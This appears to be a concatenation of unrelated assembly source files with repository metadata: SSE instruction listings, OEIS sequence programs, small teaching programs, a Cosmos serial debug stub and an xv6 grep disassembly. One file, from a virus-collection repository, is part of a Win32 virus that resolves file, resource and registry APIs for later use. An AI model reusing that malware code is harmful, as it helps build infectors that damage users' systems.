pmulhw xmm1, xmm3
pmulhw xmm1, xmm4
pmulhw xmm1, xmm5
pmulhw xmm1, xmm6
pmulhw xmm1, xmm7
pmulhw xmm1, xmm8
pmulhw xmm1, xmm9
pmulhw xmm1, xmm10
pmulhw xmm1, xmm11
pmulhw xmm1, xmm12
pmulhw xmm1, xmm13
pmulhw xmm1, xmm14
pmulhw xmm1, xmm15
pmulhw xmm2, xmm0
pmulhw xmm2, xmm1
pmulhw xmm2, xmm2
pmulhw xmm2, xmm3
pmulhw xmm2, xmm4
pmulhw xmm2, xmm5
pmulhw xmm2, xmm6
pmulhw xmm2, xmm7
pmulhw xmm2, xmm8
pmulhw xmm2, xmm9
pmulhw xmm2, xmm10
pmulhw xmm2, xmm11
pmulhw xmm2, xmm12
pmulhw xmm2, xmm13
pmulhw xmm2, xmm14
pmulhw xmm2, xmm15
pmulhw xmm3, xmm0
pmulhw xmm3, xmm1
pmulhw xmm3, xmm2
pmulhw xmm3, xmm3
pmulhw xmm3, xmm4
pmulhw xmm3, xmm5
pmulhw xmm3, xmm6
pmulhw xmm3, xmm7
pmulhw xmm3, xmm8
pmulhw xmm3, xmm9
pmulhw xmm3, xmm10
pmulhw xmm3, xmm11
pmulhw xmm3, xmm12
pmulhw xmm3, xmm13
pmulhw xmm3, xmm14
pmulhw xmm3, xmm15
pmulhw xmm4, xmm0
pmulhw xmm4, xmm1
pmulhw xmm4, xmm2
pmulhw xmm4, xmm3
pmulhw xmm4, xmm4
pmulhw xmm4, xmm5
pmulhw xmm4, xmm6
pmulhw xmm4, xmm7
pmulhw xmm4, xmm8
pmulhw xmm4, xmm9
pmulhw xmm4, xmm10
pmulhw xmm4, xmm11
pmulhw xmm4, xmm12
pmulhw xmm4, xmm13
pmulhw xmm4, xmm14
pmulhw xmm4, xmm15
pmulhw xmm5, xmm0
pmulhw xmm5, xmm1
pmulhw xmm5, xmm2
pmulhw xmm5, xmm3
pmulhw xmm5, xmm4
pmulhw xmm5, xmm5
pmulhw xmm5, xmm6
pmulhw xmm5, xmm7
pmulhw xmm5, xmm8
pmulhw xmm5, xmm9
pmulhw xmm5, xmm10
pmulhw xmm5, xmm11
pmulhw xmm5, xmm12
pmulhw xmm5, xmm13
pmulhw xmm5, xmm14
pmulhw xmm5, xmm15
pmulhw xmm6, xmm0
pmulhw xmm6, xmm1
pmulhw xmm6, xmm2
pmulhw xmm6, xmm3
pmulhw xmm6, xmm4
pmulhw xmm6, xmm5
pmulhw xmm6, xmm6
pmulhw xmm6, xmm7
pmulhw xmm6, xmm8
pmulhw xmm6, xmm9
pmulhw xmm6, xmm10
pmulhw xmm6, xmm11
pmulhw xmm6, xmm12
pmulhw xmm6, xmm13
pmulhw xmm6, xmm14
pmulhw xmm6, xmm15
pmulhw xmm7, xmm0
pmulhw xmm7, xmm1
pmulhw xmm7, xmm2
pmulhw xmm7, xmm3
pmulhw xmm7, xmm4
pmulhw xmm7, xmm5
pmulhw xmm7, xmm6
pmulhw xmm7, xmm7
pmulhw xmm7, xmm8
pmulhw xmm7, xmm9
pmulhw xmm7, xmm10
pmulhw xmm7, xmm11
pmulhw xmm7, xmm12
pmulhw xmm7, xmm13
pmulhw xmm7, xmm14
pmulhw xmm7, xmm15
pmulhw xmm8, xmm0
pmulhw xmm8, xmm1
pmulhw xmm8, xmm2
pmulhw xmm8, xmm3
pmulhw xmm8, xmm4
pmulhw xmm8, xmm5
pmulhw xmm8, xmm6
pmulhw xmm8, xmm7
pmulhw xmm8, xmm8
pmulhw xmm8, xmm9
pmulhw xmm8, xmm10
pmulhw xmm8, xmm11
pmulhw xmm8, xmm12
pmulhw xmm8, xmm13
pmulhw xmm8, xmm14
pmulhw xmm8, xmm15
pmulhw xmm9, xmm0
pmulhw xmm9, xmm1
pmulhw xmm9, xmm2
pmulhw xmm9, xmm3
pmulhw xmm9, xmm4
pmulhw xmm9, xmm5
pmulhw xmm9, xmm6
pmulhw xmm9, xmm7
pmulhw xmm9, xmm8
pmulhw xmm9, xmm9
pmulhw xmm9, xmm10
pmulhw xmm9, xmm11
pmulhw xmm9, xmm12
pmulhw xmm9, xmm13
pmulhw xmm9, xmm14
pmulhw xmm9, xmm15
pmulhw xmm10, xmm0
pmulhw xmm10, xmm1
pmulhw xmm10, xmm2
pmulhw xmm10, xmm3
pmulhw xmm10, xmm4
pmulhw xmm10, xmm5
pmulhw xmm10, xmm6
pmulhw xmm10, xmm7
pmulhw xmm10, xmm8
pmulhw xmm10, xmm9
pmulhw xmm10, xmm10
pmulhw xmm10, xmm11
pmulhw xmm10, xmm12
pmulhw xmm10, xmm13
pmulhw xmm10, xmm14
pmulhw xmm10, xmm15
pmulhw xmm11, xmm0
pmulhw xmm11, xmm1
pmulhw xmm11, xmm2
pmulhw xmm11, xmm3
pmulhw xmm11, xmm4
pmulhw xmm11, xmm5
pmulhw xmm11, xmm6
pmulhw xmm11, xmm7
pmulhw xmm11, xmm8
pmulhw xmm11, xmm9
pmulhw xmm11, xmm10
pmulhw xmm11, xmm11
pmulhw xmm11, xmm12
pmulhw xmm11, xmm13
pmulhw xmm11, xmm14
pmulhw xmm11, xmm15
pmulhw xmm12, xmm0
pmulhw xmm12, xmm1
pmulhw xmm12, xmm2
pmulhw xmm12, xmm3
pmulhw xmm12, xmm4
pmulhw xmm12, xmm5
pmulhw xmm12, xmm6
pmulhw xmm12, xmm7
pmulhw xmm12, xmm8
pmulhw xmm12, xmm9
pmulhw xmm12, xmm10
pmulhw xmm12, xmm11
pmulhw xmm12, xmm12
pmulhw xmm12, xmm13
pmulhw xmm12, xmm14
pmulhw xmm12, xmm15
pmulhw xmm13, xmm0
pmulhw xmm13, xmm1
pmulhw xmm13, xmm2
pmulhw xmm13, xmm3
pmulhw xmm13, xmm4
pmulhw xmm13, xmm5
pmulhw xmm13, xmm6
pmulhw xmm13, xmm7
pmulhw xmm13, xmm8
pmulhw xmm13, xmm9
pmulhw xmm13, xmm10
pmulhw xmm13, xmm11
pmulhw xmm13, xmm12
pmulhw xmm13, xmm13
pmulhw xmm13, xmm14
pmulhw xmm13, xmm15
pmulhw xmm14, xmm0
pmulhw xmm14, xmm1
pmulhw xmm14, xmm2
pmulhw xmm14, xmm3
pmulhw xmm14, xmm4
pmulhw xmm14, xmm5
pmulhw xmm14, xmm6
pmulhw xmm14, xmm7
pmulhw xmm14, xmm8
pmulhw xmm14, xmm9
pmulhw xmm14, xmm10
pmulhw xmm14, xmm11
pmulhw xmm14, xmm12
pmulhw xmm14, xmm13
pmulhw xmm14, xmm14
pmulhw xmm14, xmm15
pmulhw xmm0, xmm0
pmulhw xmm0, xmm1
pmulhw xmm0, xmm2
pmulhw xmm0, xmm3
pmulhw xmm0, xmm4
pmulhw xmm0, xmm5
pmulhw xmm0, xmm6
pmulhw xmm0, xmm7
pmulhw xmm0, xmm8
pmulhw xmm0, xmm9
pmulhw xmm0, xmm10
pmulhw xmm0, xmm11
pmulhw xmm0, xmm12
pmulhw xmm0, xmm13
pmulhw xmm0, xmm14
pmulhw xmm0, xmm15 | 17.627737 | 19 | 0.783644 |
8563339f3e00c1dcd9a8471b302d62280e88bbeb | 648 | asm | Assembly | oeis/195/A195288.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/195/A195288.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/195/A195288.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A195288: Decimal expansion of shortest length, (C), of segment from side CA through incenter to side CB in right triangle ABC with sidelengths (a,b,c)=(5,12,13).
; Submitted by Christian Krause
; 4,8,0,7,4,0,1,7,0,0,6,1,8,6,5,2,3,9,0,8,2,5,6,2,8,3,5,6,6,2,7,3,2,7,9,2,8,3,3,5,0,6,2,0,9,8,4,6,0,3,2,8,2,8,3,6,1,3,9,3,7,4,0,8,3,0,2,8,8,9,2,6,4,3,9,0,6,8,0,5,9,3,6,0,6,1,5,8,7,7,6,0,2,4,6,5,4,2,9,0
mov $1,1
mov $3,$0
add $3,1
mov $5,$0
cmp $5,0
add $0,$5
mul $3,3
lpb $3
mul $1,$3
mul $2,$3
add $1,$2
div $1,$0
mul $2,3
div $2,$0
add $2,$1
sub $3,1
lpe
div $2,8
mov $4,10
pow $4,$0
div $2,$4
mul $2,3
div $1,$2
mod $1,10
mov $0,$1
| 21.6 | 201 | 0.575617 |
1464e9fa3d37ded228a6a5de16436a8ab8122b7a | 2,844 | asm | Assembly | Virus.Win32.Fga/function_.asm | 010001111/Vx-Suites | 6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79 | [
"MIT"
] | 2 | 2021-02-04T06:47:45.000Z | 2021-07-28T10:02:10.000Z | Virus.Win32.Fga/function_.asm | 010001111/Vx-Suites | 6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79 | [
"MIT"
] | null | null | null | Virus.Win32.Fga/function_.asm | 010001111/Vx-Suites | 6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79 | [
"MIT"
] | null | null | null | .code
find_other_apis:
jmp fo_code
dll_base dd 0
advapi32N db "advapi32.dll",0
advapi32A dd 0
apis_name:
CreateFileF db "CreateFileA",0
CloseHandleF db "CloseHandle",0
WriteFileF db "WriteFile",0
ReadFileF db "ReadFile",0
BeginUpdateResourceF db "BeginUpdateResourceA",0
UpdateResourceF db "UpdateResourceA",0
EndUpdateResourceF db "EndUpdateResourceA",0
FindResourceF db "FindResourceA",0
GetFileSizeF db "GetFileSize",0
GlobalAllocF db "GlobalAlloc",0
SetFilePointerF db "SetFilePointer",0
GetVersionExF db "GetVersionExA",0
GetDateFormatF db "GetDateFormatA",0
SleepF db "Sleep",0
FindFirstFileF db "FindFirstFileA",0
FindNextFileF db "FindNextFileA",0
FindCloseF db "FindClose",0
GetLastError db "GetLastError",0
ExitProcessF db "ExitProcess",0
LoadLibraryF db "LoadLibraryA",0
FreeLibraryF db "FreeLibrary",0
GetEnvironmentVariableF db "ExpandEnvironmentStringsA",0
GetModuleFileNameF db "GetModuleFileNameA",0
CopyFileF db "CopyFileA",0
GetCurrentDirectoryF db "GetCurrentDirectoryA",0
SetCurrentDirectoryF db "SetCurrentDirectoryA",0
GetFileAttributesF db "GetFileAttributesA",0
dd 0ffh
apis_address:
ACreateFileF dd 0
ACloseHandleF dd 0
AWriteFileF dd 0
AReadFileF dd 0
ABeginUpdateResourceF dd 0
AUpdateResourceF dd 0
AEndUpdateResourceF dd 0
AFindResourceF dd 0
AGetFileSizeF dd 0
AGlobalAllocF dd 0
ASetFilePointerF dd 0
AGetVersionExF dd 0
AGetDateFormatF dd 0
ASleepF dd 0
AFindFirstFileF dd 0
AFindNextFileF dd 0
AFindCloseF dd 0
AGetLastErrorF dd 0
AExitProcessF dd 0
ALoadLibraryF dd 0
AFreeLibraryF dd 0
AGetEnvironmentVariableF dd 0
AGetModuleFileNameF dd 0
ACopyFileF dd 0
AGetCurrentDirectoryF dd 0
ASetCurrentDirectoryF dd 0
AGetFileAttributesF dd 0
dd 0ffh
advapi_api:
RegOpenKeyExF db "RegOpenKeyExA",0
RegQueryValueExF db "RegQueryValueExA",0
RegSetValueExF db "RegSetValueExA",0
RegCloseKeyF db "RegCloseKey",0
dd 0ffh
advapi_addresses:
ARegOpenKeyExF dd 0
ARegQueryValueExF dd 0
ARegSetValueExF dd 0
ARegCloseKeyF dd 0
dd 0ffh
fo_code:
mov esi,offset apis_name
mov edi,offset apis_address
add esi,ebp
add edi,ebp
push [ebp+offset kernel_base]
pop [ebp+offset dll_base]
call l00p_apis
mov eax,offset advapi32N
add eax,ebp
push eax
call [ebp+offset ALoadLibraryF]
or eax,eax
jz exit
mov [ebp+offset dll_base],eax
mov esi,offset advapi_api
mov edi,offset advapi_addresses
add esi,ebp
add edi,ebp
call l00p_apis
ret
l00p_apis:
mov eax,esi
push eax
push [ebp+offset dll_base]
call dword ptr[ebp+offset AGetProcAddressF]
or eax,eax
jz exit
mov dword ptr [edi],eax
l00p_small:
inc esi
cmp byte ptr[esi],0
jne l00p_small
next_api_name:
inc esi
add edi,4
cmp dword ptr [edi],0ffh
je finish_fo
jmp l00p_apis
finish_fo:
ret
| 18.588235 | 57 | 0.768636 |
351202982235a5ffc970a365bc7261e5dde3b5a2 | 464 | asm | Assembly | triangle.asm | dev001hajipro/study_nasm | ffac80d3bf073990e5305e421d3fd091b1f819e9 | [
"MIT"
] | null | null | null | triangle.asm | dev001hajipro/study_nasm | ffac80d3bf073990e5305e421d3fd091b1f819e9 | [
"MIT"
] | null | null | null | triangle.asm | dev001hajipro/study_nasm | ffac80d3bf073990e5305e421d3fd091b1f819e9 | [
"MIT"
] | null | null | null | global _start
section .text
_start:
mov rdx, output ; set output address.
mov r8, 1
mov r9, 0
line:
mov byte [rdx], '*'
inc rdx
inc r9
cmp r9, r8
jne line
lineDone:
mov byte [rdx], 0x0a ; set LF
inc rdx
inc r8
mov r9, 0
cmp r8, maxlines
jng line
done:
mov rax, 1
mov rdi, 1
mov rsi, output
mov rdx, dataSize
syscall
mov rax, 60
xor rdi, rdi
syscall
section .bss
maxlines equ 8
dataSize equ 44
output: resb dataSize ; reserve binary
| 12.888889 | 38 | 0.674569 |
0e485ed4dd582cbc08b786548184e546bf3ce56d | 753 | asm | Assembly | oeis/254/A254363.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/254/A254363.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/254/A254363.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A254363: a(n) = 4^n + 6*2^n + 3^(n+1) + 10.
; Submitted by Jamie Morken(s1.)
; 20,35,77,203,605,1955,6677,23723,86765,324275,1231877,4738043,18396125,71940995,282882677,1116985163,4424500685,17568076115,69883311077,278367837083,1109978272445,4429440153635,17686354389077,70651224045803,282322365983405,1128441973997555,4511225627508677,18037276107243323,72126226025905565,288436270505031875,1153539184445581877,4613539051501141643,18452303160045910925,73803653528077480595,295197936827531040677,1180741715558866732763,4722816767187853071485,18890816784020887567715
mov $3,$0
seq $0,87719 ; Least number m such that the number of numbers k <= m with k > spf(k)^n exceeds the number of numbers with k <= spf(k)^n.
mov $2,4
pow $2,$3
add $0,$2
add $0,4
| 68.454545 | 487 | 0.810093 |
8f1bb269ab42a9cd8bdc3c4d400930ea9b3895cc | 653 | asm | Assembly | oeis/073/A073357.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/073/A073357.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/073/A073357.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A073357: Binomial transform of tribonacci numbers.
; 0,1,3,8,22,62,176,500,1420,4032,11448,32504,92288,262032,743984,2112384,5997664,17029088,48350464,137280832,389779648,1106696192,3142227840,8921685888,25331224576,71922610432,204208915200,579807668224,1646240232960,4674148089344,13271246761984,37680875156480,106986809756672,303766231924736,862479438985216,2448826447755264,6952920498929664,19741335082668032,56051311230464000,159145745589043200,451860407599652864,1282961270503366656,3642694942792941568,10342655504357605376,29365764787265388544
mov $2,1
lpb $0
sub $0,1
add $1,$2
mul $2,2
add $2,$4
add $3,$1
mov $4,$3
lpe
mov $0,$1
| 46.642857 | 498 | 0.830015 |
15f97634633803ddfb65fb88788296c1b16f0a05 | 925 | asm | Assembly | testcode/ldb_stb_test_nostall.asm | tanishq-dubey/lc3processor | defba3f8d6383cef3cc1cf15802430744aa7bd41 | [
"Apache-2.0"
] | null | null | null | testcode/ldb_stb_test_nostall.asm | tanishq-dubey/lc3processor | defba3f8d6383cef3cc1cf15802430744aa7bd41 | [
"Apache-2.0"
] | null | null | null | testcode/ldb_stb_test_nostall.asm | tanishq-dubey/lc3processor | defba3f8d6383cef3cc1cf15802430744aa7bd41 | [
"Apache-2.0"
] | null | null | null | ORIGIN 4x0000
SEGMENT CodeSegment:
LEA R0, DATA
nop
nop
nop
nop
nop
nop
; Test LDB, STB
ldb r6, r0, LowByte ;0
nop
nop
nop
nop
nop
nop
;MAR < 8
;MDR < (M[8] = 4x600D)
;R6 < 4x00 & 4x0D
ldb r7, r0, HighByte ;2
nop
nop
nop
nop
nop
nop
; MAR < 8 or 9
; MDR < (M[8] = 4x600D)
; R7 < 4x00 & 4x60
stb r6, r0, LowSByte ;4
nop
nop
nop
nop
nop
nop
; MAR < 10
; MDR < 4xXX & (R6(7:0) = 4x0D)
; *only* MWRITEL_L is active (=0).
; M[10] < 4x0D
stb r7, r0, HighSByte ;6
nop
nop
nop
nop
nop
nop
BRnzp HALT
;; Loop forever
HALT:
nop
nop
nop
nop
nop
nop
BRnzp HALT
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
;MAR < 10 or 11
;MDR < (R7(7:0) = 4x60) & 4xXX
;*only* MWRITEH_L is active (=0).
;M[11] < 4x60
SEGMENT
DATA:
LowByte: DATA1 4x0D ;8
HighByte: DATA1 4x60 ;9
LowSByte: DATA1 ? ;10
HighSByte: DATA1 ? ;11 | 10.882353 | 34 | 0.564324 |
1968830c41e321760afe4858f5a236d6cbe53f3f | 2,662 | asm | Assembly | programs/oeis/100/A100166.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/100/A100166.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/100/A100166.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A100166: Structured deltoidal hexacontahedral numbers (vertex structure 9).
; 1,62,295,812,1725,3146,5187,7960,11577,16150,21791,28612,36725,46242,57275,69936,84337,100590,118807,139100,161581,186362,213555,243272,275625,310726,348687,389620,433637,480850,531371,585312,642785,703902,768775,837516,910237,987050,1068067,1153400,1243161,1337462,1436415,1540132,1648725,1762306,1880987,2004880,2134097,2268750,2408951,2554812,2706445,2863962,3027475,3197096,3372937,3555110,3743727,3938900,4140741,4349362,4564875,4787392,5017025,5253886,5498087,5749740,6008957,6275850,6550531,6833112,7123705,7422422,7729375,8044676,8368437,8700770,9041787,9391600,9750321,10118062,10494935,10881052,11276525,11681466,12095987,12520200,12954217,13398150,13852111,14316212,14790565,15275282,15770475,16276256,16792737,17320030,17858247,18407500,18967901,19539562,20122595,20717112,21323225,21941046,22570687,23212260,23865877,24531650,25209691,25900112,26603025,27318542,28046775,28787836,29541837,30308890,31089107,31882600,32689481,33509862,34343855,35191572,36053125,36928626,37818187,38721920,39639937,40572350,41519271,42480812,43457085,44448202,45454275,46475416,47511737,48563350,49630367,50712900,51811061,52924962,54054715,55200432,56362225,57540206,58734487,59945180,61172397,62416250,63676851,64954312,66248745,67560262,68888975,70234996,71598437,72979410,74378027,75794400,77228641,78680862,80151175,81639692,83146525,84671786,86215587,87778040,89359257,90959350,92578431,94216612,95874005,97550722,99246875,100962576,102697937,104453070,106228087,108023100,109838221,111673562,113529235,115405352,117302025,119219366,121157487,123116500,125096517,127097650,129120011,131163712,133228865,135315582,137423975,139554156,141706237,143880330,146076547,148295000,150535801,152799062,155084895,157393412,159724725,162078946,164456187,166856560,169280177,171727150,174197591,176691612,179209325,181750842,184316275,186905736,189519337,192157190,194819407,197506100,200217381,202953362,205714155,208499872,211310625,214146526,217007687,219894220,222806237,225743850,228707171,231696312,234711385,237752502,240819775,243913316,247033237,250179650,253352667,256552400,259778961,263032462,266313015,269620732,272955725,276318106,279707987,283125480,286570697,290043750
mov $5,$0
lpb $0
sub $0,1
add $1,$0
add $3,$0
add $3,4
add $1,$3
add $4,3
add $3,$4
lpe
add $0,1
add $1,$3
add $1,1
mul $1,2
sub $1,$0
mov $2,1
mov $6,$5
lpb $2
add $1,$6
sub $2,1
lpe
mov $8,$5
lpb $8
add $7,$6
sub $8,1
lpe
mov $2,21
mov $6,$7
lpb $2
add $1,$6
sub $2,1
lpe
mov $7,0
mov $8,$5
lpb $8
add $7,$6
sub $8,1
lpe
mov $2,17
mov $6,$7
lpb $2
add $1,$6
sub $2,1
lpe
| 55.458333 | 2,175 | 0.823441 |
1cdd31ea4a4ae396b3f2a1bc1ecaef2c96e801ab | 4,867 | asm | Assembly | playground/Serial.asm | quajak/XSharp | 069bfa5535bda987229eb38b7c12897fe9aec93d | [
"BSD-3-Clause"
] | 168 | 2017-08-05T18:23:29.000Z | 2022-03-31T19:33:13.000Z | playground/Serial.asm | FriendsTmCo/XSharp | 3f9e35ae60170184a4132207afb8953839f1ee60 | [
"BSD-3-Clause"
] | 12 | 2017-09-19T13:24:16.000Z | 2020-09-03T09:42:19.000Z | playground/Serial.asm | FriendsTmCo/XSharp | 3f9e35ae60170184a4132207afb8953839f1ee60 | [
"BSD-3-Clause"
] | 47 | 2017-08-13T04:12:40.000Z | 2022-03-29T18:25:19.000Z | ; namespace DebugStub
; optionally exclude this serial version
; All information relating to our serial usage should be documented in this comment.
; http://wiki.osdev.org/Serial_ports
; We do not use IRQs for debugstub serial. This is becuase DebugStub (DS)
; MUST be:
; - As simple as possible
; - Interact as minimal as possible wtih normal Cosmos code because
; the debugstub must *always* work even if the normal code is fubarred
; The serial port that is used for DS should be 'hidden' from Cosmos main
; so that Cosmos main pretends it does not exist.
; IRQs would create a clash/mix of code.
; This does make the serial code in DebugStub inefficient, but its well worth
; the benefits received by following these rules.
; Baud rate is set to 115200. Likely our code could not exceed this rate
; anyways the way it is written and there are compatibility issues on some
; hardware above this rate.
; We assume a minimum level of a 16550A, which should be no problem on any
; common hardware today. VMWare emulates the 16550A
; We do not handle flow control for outbound data (DS --> DC).
; The DebugConnector (DC, the code in the Visual Studio side) however is threaded
; and easily should be able to receive data faster than we can send it.
; Most things are transactional with data being sent only when asked for, but
; with tracing we do send a data directly.
; Currently there is no inbound flow control either (DC --> DS)
; For now we assume all commands in bound are 16 bytes or less to ensure
; that they fit in the FIFO. Commands in DS must wait for a command ID ACK
; before sending another command.
; See notes in ProcessCommand.
; http://www.nondot.org/sabre/os/files/Communication/ser_port.txt
; //! %ifndef Exclude_IOPort_Based_SerialInit
%ifndef Exclude_IOPort_Based_SerialInit
; Todo Auto params
; Todo ebp frame ptr auto etc
; function InitSerial {
DebugStub_InitSerial:
; Disable interrupts
; DX = 1
Mov DX, 0x1
; AL = 0
Mov AL, 0x0
; WriteRegister()
Call DebugStub_WriteRegister
; Enable DLAB (set baud rate divisor)
; DX = 3
Mov DX, 0x3
; AL = $80
Mov AL, 0x80
; WriteRegister()
Call DebugStub_WriteRegister
; 0x01, 0x00 - 115200
; 0x02, 0x00 - 57600
; 0x03, 0x00 - 38400
; Set divisor (lo byte)
; DX = 0
Mov DX, 0x0
; AL = $01
Mov AL, 0x1
; WriteRegister()
Call DebugStub_WriteRegister
; hi byte
; DX = 1
Mov DX, 0x1
; AL = $00
Mov AL, 0x0
; WriteRegister()
Call DebugStub_WriteRegister
; 8N1
; DX = 3
Mov DX, 0x3
; AL = $03
Mov AL, 0x3
; WriteRegister()
Call DebugStub_WriteRegister
; Enable FIFO, clear them
; Set 14-byte threshold for IRQ.
; We dont use IRQ, but you cant set it to 0
; either. IRQ is enabled/disabled separately
; DX = 2
Mov DX, 0x2
; AL = $C7
Mov AL, 0xC7
; WriteRegister()
Call DebugStub_WriteRegister
; 0x20 AFE Automatic Flow control Enable - 16550 (VMWare uses 16550A) is most common and does not support it
; 0x02 RTS
; 0x01 DTR
; Send 0x03 if no AFE
; DX = 4
Mov DX, 0x4
; AL = $03
Mov AL, 0x3
; WriteRegister()
Call DebugStub_WriteRegister
; }
DebugStub_InitSerial_Exit:
Mov DWORD [INTS_LastKnownAddress], DebugStub_InitSerial_Exit
Ret
; Modifies: AL, DX
; function ComReadAL {
DebugStub_ComReadAL:
; DX = 5
Mov DX, 0x5
; Wait:
DebugStub_ComReadAL_Wait:
; ReadRegister()
Call DebugStub_ReadRegister
; AL test $01
Test AL, 0x1
; if 0 goto Wait
; DX = 0
Mov DX, 0x0
; ReadRegister()
Call DebugStub_ReadRegister
; }
DebugStub_ComReadAL_Exit:
Mov DWORD [INTS_LastKnownAddress], DebugStub_ComReadAL_Exit
Ret
; function ComWrite8 {
DebugStub_ComWrite8:
; Input: ESI
; Output: None
; Modifies: EAX, EDX
; Sends byte at [ESI] to com port and does esi + 1
; This sucks to use the stack, but x86 can only read and write ports from AL and
; we need to read a port before we can write out the value to another port.
; The overhead is a lot, but compared to the speed of the serial and the fact
; that we wait on the serial port anyways, its a wash.
; This could be changed to use interrupts, but that then complicates
; the code and causes interaction with other code. DebugStub should be
; as isolated as possible from any other code.
; Sucks again to use DX just for this, but x86 only supports
; 8 bit address for literals on ports
; DX = 5
Mov DX, 0x5
; Wait for serial port to be ready
; Bit 5 (0x20) test for Transmit Holding Register to be empty.
; Wait:
DebugStub_ComWrite8_Wait:
; ReadRegister()
Call DebugStub_ReadRegister
; AL test $20
Test AL, 0x20
; if 0 goto Wait
; Set address of port
; DX = 0
Mov DX, 0x0
; Get byte to send
; AL = [ESI]
Mov AL, BYTE [ESI]
; Send the byte
; WriteRegister()
Call DebugStub_WriteRegister
; ESI++
Inc ESI
; }
DebugStub_ComWrite8_Exit:
Mov DWORD [INTS_LastKnownAddress], DebugStub_ComWrite8_Exit
Ret
; //! %endif
%endif
| 27.189944 | 109 | 0.725704 |
22a8216320a768270c740e6cc2966f5ce6c9684b | 329 | asm | Assembly | programs/oeis/055/A055554.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/055/A055554.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/055/A055554.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A055554: An arithmetic progression each term of which is followed by at least 4 nonsquarefree consecutive integers.
; 242,1757711582,3515422922,5273134262,7030845602,8788556942,10546268282,12303979622,14061690962,15819402302,17577113642,19334824982,21092536322,22850247662,24607959002,26365670342
mul $0,1757711340
add $0,242
| 54.833333 | 180 | 0.854103 |
e9c05bf61d3c119ac035e8ecf57570149f5bf470 | 161 | asm | Assembly | src/COM/OPTEST.asm | Erukaron/TONY | 4b5f535a41db543c66ea9b7b59ceead9ed3df57a | [
"MIT"
] | null | null | null | src/COM/OPTEST.asm | Erukaron/TONY | 4b5f535a41db543c66ea9b7b59ceead9ed3df57a | [
"MIT"
] | null | null | null | src/COM/OPTEST.asm | Erukaron/TONY | 4b5f535a41db543c66ea9b7b59ceead9ed3df57a | [
"MIT"
] | null | null | null | mov al, 0x55
mov ah, 0xaa
mov ax, 0xaa00
mov bl, 0xaa
mov bh, 0x55
mov bx, 0x00aa
mov cl, [0x55aa]
mov ch, [0xaa55]
mov cx, [si]
mov dx, ax
mov dh, ah
mov dl, al | 13.416667 | 16 | 0.670807 |
03de104954ebe85a6d2da19c7d4a941178e799d1 | 53,942 | asm | Assembly | grep.asm | jinsongwei/kernel_xv6 | c6c84ff6e3466fa3d57c8a2f35f83c38fde5ba64 | [
"MIT-0"
] | null | null | null | grep.asm | jinsongwei/kernel_xv6 | c6c84ff6e3466fa3d57c8a2f35f83c38fde5ba64 | [
"MIT-0"
] | null | null | null | grep.asm | jinsongwei/kernel_xv6 | c6c84ff6e3466fa3d57c8a2f35f83c38fde5ba64 | [
"MIT-0"
] | null | null | null |
_grep: file format elf32-i386
Disassembly of section .text:
00000000 <grep>:
char buf[1024];
int match(char*, char*);
void
grep(char *pattern, int fd)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 28 sub $0x28,%esp
int n, m;
char *p, *q;
m = 0;
6: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
d: e9 c9 00 00 00 jmp db <grep+0xdb>
m += n;
12: 8b 45 e8 mov -0x18(%ebp),%eax
15: 01 45 ec add %eax,-0x14(%ebp)
buf[m] = '\0';
18: 8b 45 ec mov -0x14(%ebp),%eax
1b: c6 80 80 0b 00 00 00 movb $0x0,0xb80(%eax)
p = buf;
22: c7 45 f0 80 0b 00 00 movl $0xb80,-0x10(%ebp)
while((q = strchr(p, '\n')) != 0){
29: eb 53 jmp 7e <grep+0x7e>
*q = 0;
